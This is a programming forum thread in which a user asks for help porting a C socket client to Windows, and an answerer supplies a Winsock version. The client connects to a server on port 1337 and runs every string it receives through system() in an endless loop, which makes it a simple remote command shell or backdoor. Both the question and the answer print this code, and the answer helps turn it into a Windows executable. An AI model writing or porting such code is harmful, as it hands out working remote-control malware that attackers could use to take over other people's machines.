How do I create client.c for windows using createprocess() instead of system()?

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hi friends,

i tried to compile this client.c in windows but i faced errors i tried too much .. anyone can answer and write it correctly with the same variables to work with the server.c >> to be compiled and working in windows as executable file .exe

What I have tried:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define HOST "127.0.0.1"
#define PORT 1337


int main(void) {
    int fd;
    char command[5000];
    struct sockaddr_in server;
    
    server.sin_family = AF_INET;
    server.sin_addr.s_addr = inet_addr(HOST);
    server.sin_port = htons(PORT);

    fd = socket(AF_INET, SOCK_STREAM, 0);    
    connect(fd, (struct sockaddr *)&server, sizeof(server));

    while (1) {
        recv(fd, command, sizeof(command), 0);
        system(command);
    }
    
    EXIT_SUCCESS;
}

Posted 22-Apr-23 6:15am

AhmedSakrr

Updated 22-Apr-23 7:00am

v4

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Richard MacCutchan 22-Apr-23 12:25pm

Please explain what errors you see.

AhmedSakrr 22-Apr-23 12:29pm

Error because this code in unix can't be compiled in windows.. can u convert it to be in windows i think by using something called createprocess() but, i have no idea how to rewrite it.

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Richard MacCutchan · Answer 1 · 2023-04-22T07:00:00

Change it to the following:

C++

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// use winsock2 in Windows
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <winsock2.h>

#pragma comment(lib, "Ws2_32") // tell the linker which library to include


// The following are for Linux
//#include <unistd.h>
//#include <arpa/inet.h>
//#include <sys/types.h>
//#include <sys/socket.h>
//#include <netinet/in.h>

#define HOST "127.0.0.1"
#define PORT 1337


int main(void) {
    SOCKET fd; // use correct type for fd
    char command[5000];
    struct sockaddr_in server;
    
    server.sin_family = AF_INET;
    server.sin_addr.s_addr = inet_addr(HOST);
    server.sin_port = htons(PORT);

    fd = socket(AF_INET, SOCK_STREAM, 0);    
    connect(fd, (struct sockaddr *)&server, sizeof(server));

    while (1) {
        recv(fd, command, sizeof(command), 0);
        system(command);
    }
    
    EXIT_SUCCESS;
}